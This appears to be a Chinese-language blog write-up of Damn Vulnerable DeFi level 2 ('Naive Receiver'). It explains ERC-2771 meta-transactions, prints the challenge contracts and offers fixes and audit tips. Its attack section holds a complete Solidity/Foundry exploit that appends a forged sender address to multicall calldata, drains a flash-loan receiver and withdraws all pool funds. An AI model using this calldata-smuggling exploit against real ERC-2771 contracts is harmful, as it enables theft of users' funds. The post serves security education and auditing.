DVDF第2关:Naive Receiver解析总结

咪发zsh 发布于 2026-07-30 阅读 47

Damn Vulnerable DeFi 第2关:漏洞解析、修复

相关知识点

元交易

痛点:普通用户想要在链上交互,钱包里必须有 ETH 作为 Gas 费。 解决办法:用户只需用私钥签名一段消息(不花 Gas),然后把签名发给转发器(Forwarder),由转发器上链帮用户提交交易并支付 Gas 费。

ERC-2771标准

ERC-2771 制定了一套所有人都必须遵守的通用规则:

  1. 统一的入口:目标合约必须实现 isTrustedForwarder(address) 接口
  2. 统一的传递规范:所有 Forwarder 必须将 20 字节地址追加在 calldata 最末尾
  3. 统一的读取逻辑:所有支持元交易的合约,统一使用 _msgSender() 替代 msg.sender,且读取逻辑固定截取末尾 20 字节

ERC-2771 如何验证用户身份? 当 Forwarder 替用户 Player 提交交易给 Pool 时,Pool 看到的底层 msg.sender 其实是 Forwarder 的地址。为了让 Pool 知道这笔交易真正想要表达的是 Player 的意图: • Forwarder 会把 Player 的地址(20 字节)强行拼在 Calldata 的最末尾 • Pool 合约不使用 msg.sender,而是继承 ERC2771Context,改用 _msgSender()函数,判断如果当前调用者是Forwarder,就读取msg.data最后20字节作为真正的发信人

EIP-712标准

防钓鱼的签名标准,防止黑客把你在 A 链上的签名拿到 B 链使用,或者把授权 A 合约的签名用在 B 合约上。它通过 domainSeparator(包含链 ID、目标合约地址等)来锁定上下文。

Naive Receiver

通关要求

There’s a pool with 1000 WETH in balance offering flash loans. It has a fixed fee of 1 WETH. The pool supports meta-transactions by integrating with a permissionless forwarder contract.有一个资金池,余额为1000个WETH,提供闪电贷服务。其固定手续费为1个WETH。该资金池通过集成无许可转发合约支持元交易。 A user deployed a sample contract with 10 WETH in balance. Looks like it can execute flash loans of WETH.一名用户部署了一份余额为10枚WETH的示例合约。该合约似乎可以执行WETH闪电贷。 All funds are at risk! Rescue all WETH from the user and the pool, and deposit it into the designated recovery account.所有资金均存在风险!请从用户和资金池中赎回所有WETH,并将其存入recovery账户。 总结:把1010WETH转入recovery账户

涉及合约

BasicForwarder.sol:转发器,将用户交易转发到链上合约 截取部分代码:

struct Request {
        address from;//交易发起者地址
        address target;//最终要调用的目标合约
        uint256 value;//附带的ETH数量
        uint256 gas;//允许使用的最大Gas限制
        uint256 nonce;//防重入攻击的随机数
        bytes data;//想调用的函数和参数
        uint256 deadline;//签名过期时间
}

function execute(Request calldata request, bytes calldata signature) public payable returns (bool success) {
        _checkRequest(request, signature);

        nonces[request.from]++;

        uint256 gasLeft;
        uint256 value = request.value; // in wei
        address target = request.target;
        //把传入的所有参数首尾相连拼接在一起
        bytes memory payload = abi.encodePacked(request.data, request.from);
        uint256 forwardGas = request.gas;
        assembly {//Solidity内联汇编
            success := call(forwardGas, target, value, add(payload, 0x20), mload(payload), 0, 0) // don't copy returndata
            //使用汇编代码精准获取gas
            gasLeft := gas()
        }
        
        //判断是否存在中继者骚扰攻击:中继者给足了gas,子调用结束后,外层剩余的gas必定大于request.gas / 63
        if (gasLeft < request.gas / 63) {
            assembly {
                invalid()
            }
        }
}

FlashLoanReceiver.sol:闪电贷接收者合约,执行闪电贷借款后的操作 截取部分代码:

function onFlashLoan(address, address token, uint256 amount, uint256 fee, bytes calldata)
        external
        returns (bytes32)
    {
        assembly {
            // gas savings
            if iszero(eq(sload(pool.slot), caller())) {
                mstore(0x00, 0x48f5c3ed)
                revert(0x1c, 0x04)
            }
        }

        if (token != address(NaiveReceiverPool(pool).weth())) revert NaiveReceiverPool.UnsupportedCurrency();

        uint256 amountToBeRepaid;
        unchecked {
            amountToBeRepaid = amount + fee;
        }

        _executeActionDuringFlashLoan();

        // Return funds to pool
        WETH(payable(token)).approve(pool, amountToBeRepaid);//授权额度

        return keccak256("ERC3156FlashBorrower.onFlashLoan");
}

Multicall.sol:多调用合约,批量执行函数 完整代码:

// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;

import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {Context} from "@openzeppelin/contracts/utils/Context.sol";

abstract contract Multicall is Context {
    function multicall(bytes[] calldata data) external virtual returns (bytes[] memory results) {
        results = new bytes[](data.length);
        for (uint256 i = 0; i < data.length; i++) {
            results[i] = Address.functionDelegateCall(address(this), data[i]);
        }
        return results;
    }
}

NaiveReceiverPool:处理核心业务逻辑,包括闪电贷、提款、存款等操作 截取部分代码:

//闪电贷手续费1WETH
uint256 private constant FIXED_FEE = 1e18;
//闪电贷
function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)
        external
        returns (bool)
    {
        if (token != address(weth)) revert UnsupportedCurrency();

        // Transfer WETH and handle control to receiver
        weth.transfer(address(receiver), amount);
        totalDeposits -= amount;

        if (receiver.onFlashLoan(msg.sender, address(weth), amount, FIXED_FEE, data) != CALLBACK_SUCCESS) {
            revert CallbackFailed();
        }

        uint256 amountWithFee = amount + FIXED_FEE;
        weth.transferFrom(address(receiver), address(this), amountWithFee);
        totalDeposits += amountWithFee;

        deposits[feeReceiver] += FIXED_FEE;

        return true;
}
//提款
function withdraw(uint256 amount, address payable receiver) external {
        // Reduce deposits
        deposits[_msgSender()] -= amount;
        totalDeposits -= amount;

        // Transfer ETH to designated receiver
        weth.transfer(receiver, amount);
}
//身份获取
function _msgSender() internal view override returns (address) {
        if (msg.sender == trustedForwarder && msg.data.length >= 20) {
            return address(bytes20(msg.data[msg.data.length - 20:]));
        } else {
            return super._msgSender();
        }
}

完整合约代码

https://github.com/theredguild/damn-vulnerable-defi/blob/v4.1.0/src/naive-receiver/NaiveReceiverPool.sol

关卡总结

漏洞类型

  1. 访问控制漏洞
  2. Calldata漏洞

问题代码

访问控制漏洞:

function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data){...}

Calldata漏洞:

results[i] = Address.functionDelegateCall(address(this), data[i])

为什么有问题

访问控制漏洞:flashLoan()函数未校验传入的receiver是否为本人 Calldata漏洞:

攻击步骤

简易版 1.链下构造11次调用并存入动态数组calldatas 中,循环10次调用flashLoan()函数,扣光receiver的10WETH,1次调用withdraw()+deployer地址,伪造管理员进行提款

2.把11次调用数组calldatas 和multicall函数选择器一起打包进multicallData,并存入request.data

3.EIP-712签名,使用playerPk 对 requestHash 进行签名 (r,s,v),存入signature

4.执行链上BasicForwarder.execute(request,signature),验证签名通过,request.data尾部被拼接player地址发给NaiveReceiverPool

5.request.data在解析时触发Multicall合约,进入multicall后,ABI 解码器只会去解析动态数组,尾部的player地址不会解析,当执行到第11个调用时,msg.sender依然是BasicForwarder,msg.data为在链下伪造的withdraw()+deployer地址

6.随后执行BasicForwarder.withdraw(),_msgSender() 读取msg.data末尾,匹配到伪造的deployer地址,最终提款成功!

攻击代码

// 1. 准备 11 个子调用的 calldata 数组
bytes[] memory calldatas = new bytes[](11);

// 前 10 个子调用:发起 10 次 flashLoan,把 receiver 的 10 WETH 手续费抽进 Pool
for (uint256 i = 0; i < 10; i++) {
    calldatas[i] = abi.encodeWithSelector(
        pool.flashLoan.selector,
        address(receiver),
        address(weth),
        0,
        ""
    );
}

// 第 11 个子调用:构造 withdraw(1010 ether, recovery)
bytes memory withdrawCalldata = abi.encodeWithSelector(
    pool.withdraw.selector,
    1010 ether, // 1000 原有 + 10 抽来的手续费
    payable(recovery)
);

// 核心漏洞利用:在 withdrawCalldata 末尾追加 feeReceiver (Deployer) 的 20 字节地址!
calldatas[10] = abi.encodePacked(withdrawCalldata, pool.feeReceiver());

// 2. 将这 11 个子调用打包进 multicall
bytes memory multicallData = abi.encodeWithSelector(
    pool.multicall.selector,
    calldatas
);

// 3. 构造 BasicForwarder 的请求结构体(签名人填 player 自己)
BasicForwarder.Request memory request = BasicForwarder.Request({
    from: player,
    target: address(pool),
    value: 0,
    gas: 3000000,
    nonce: forwarder.nonces(player),
    deadline: block.timestamp + 1 days,
    data: multicallData
});

// 4. 对请求进行 EIP-712 链下签名(用 player 的私钥)
bytes32 requestHash = forwarder.getDataHash(request);
// 根据 Foundry 的签名规则对 requestHash 进行签名
(uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPrivateKey, requestHash);
bytes memory signature = abi.encodePacked(r, s, v);

// 5. 由中继者/Player 发起交易,通过 Forwarder 触发全套攻击!
forwarder.execute(request, signature);

修复方法

访问控制漏洞

flashLoan()函数增加校验receiver是否为本人:receiver==msg.sender

Calldata漏洞

  1. 直接禁止通过BasicForwarder调用multicall(最推荐)
require(!isTrustedForwarder(msg.sender), "Multicall from Forwarder disabled");

效果:用户依然可以使用BasicForwarder调用函数,也可以直接调用multicall,但无法通过BasicForwarder调用multicall 2. 严格校验 Calldata 长度(防御性编程)

// 如果是通过BasicForwarder调用的,Calldata长度必须严格等于:函数选择器(4B) + 参数(64B) + 转发器追加的sender(20B) = 88 字节
require(msg.data.length == 88, "Invalid calldata length");

效果:当攻击者试图在data[10]末尾强行塞入20字节的deployer时,子调用的msg.data.length会变成 108 字节,无法通过校验 3. 由 BasicForwarder接管“批量打包”(架构级修复)

// 在 Forwarder 层面进行批量验签与循环调用
function executeBatch(
    Request[] calldata requests,
    bytes[] calldata signatures
) external {
    for (uint256 i = 0; i < requests.length; i++) {
        // 1. 依次验证每个子请求的签名
        _verify(requests[i], signatures[i]);
        // 2. 依次用普通 call 转发给目标合约(每次都会重新追加对应用户的 20 字节)
        (bool success, ) = requests[i].target.call(
            abi.encodePacked(requests[i].data, requests[i].from)
        );
        require(success);
    }
}

效果:绕过了目标合约内部的delegatecall,每一笔子调用的末尾 20 字节都由BasicForwarder重新盖章追加,攻击者无法在子数据包里篡改尾巴

审计视角

  1. 当看到函数由外部调用传参时,要注意是否存在访问控制
  2. 当看到 ERC-2771(_msgSender)与 Multicall(delegatecall)组合使用时,要注意是否存在Calldata走私漏洞
  3. 当看到依赖msg.data尾部切片截取身份信息时,要注意是否校验了Calldata的严格长度

逻辑反思

  1. 初次接触元交易、ERC-2771、EIP-712以及其他底层原理,需要反复理解
  2. 后续学习难度增加,需认真理解

相关文章

0 条评论